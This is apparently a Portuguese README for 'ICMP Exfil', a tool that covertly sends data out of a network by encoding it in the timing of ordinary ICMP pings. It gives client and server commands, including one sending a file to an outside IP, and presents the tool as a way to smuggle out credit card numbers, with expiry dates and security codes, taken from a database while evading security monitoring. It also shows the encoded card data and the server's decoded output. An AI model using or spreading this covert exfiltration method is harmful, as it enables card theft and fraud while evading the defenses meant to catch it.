
Exfiltrar dados com ICMP
O ICMP Exfil permite transmitir dados através de pacotes ICMP válidos. Você usa o script cliente para enviar os dados que deseja exfiltrar e, no dispositivo de destino, executa o servidor. Qualquer pessoa — humana ou sistema de segurança — que esteja observando verá apenas pacotes ICMP válidos; não há nada de malicioso na estrutura dos pacotes. Seus dados não estão ocultos dentro dos pacotes ICMP, portanto, examinar o pacote não revela o que foi exfiltrado.

Martino Jones, martinojones.com.
No momento, a única opção que adicionei é para caracteres ASCII. Você poderá exfiltrar qualquer coisa que possa ser representada em caracteres ASCII (por exemplo, letras e números). Por exemplo: se você pegou alguns números legais de 16 dígitos, usaria o script cliente para enviá-los ao seu servidor com ./ping.py --ascii "4111111111111111".
Você tem duas opções para configurar o servidor de destino. Pode usar --ip ou definir o IP padrão no script chamado ipToPing.
Se quiser ser mais paciente e dificultar que percebam que está exfiltrando dados, pode usar --wait para especificar o tempo mínimo + o tempo que deve passar para a transferência dos dados. Isso ainda está em desenvolvimento... então precisará fazer a conversão manualmente, mas não deve demorar para eu adicionar... também não é tão importante, já que a maioria das pessoas e sistemas de segurança ainda não detectam isso.
Se quiser ver os pings passando, pode usar --show.
Para iniciar o servidor, basta executar sudo python3 server.py. Não precisa fazer mais nada. Quando terminar, basta pressionar Control+C. No momento, o servidor precisa de melhorias: ele precisa mapear a entrada com base em quem enviou os dados; atualmente, testei apenas com um cliente pingando o servidor, o que obviamente precisa ser ajustado. A base já está pronta, só preciso finalizar o ajuste.
Encontrei um banco de dados cheio desses números legais de 16 dígitos; preciso salvá-los para pesquisas futuras, então os salvo em um arquivo chamado file:
Comando:./ping.py --ip 1.2.3.4 --asciiFile file
Conteúdo do Arquivo: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe
Dados Codificados: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010']
Servidor:
Calculando offsets
4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2 0 1 / 1 5 4 5 6 M a r t i n o J o n e s | 4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2 0 3 / 1 6 2 3 6 M a r t i n o J o e
Se quiser ajudar, há várias coisas que ainda preciso adicionar: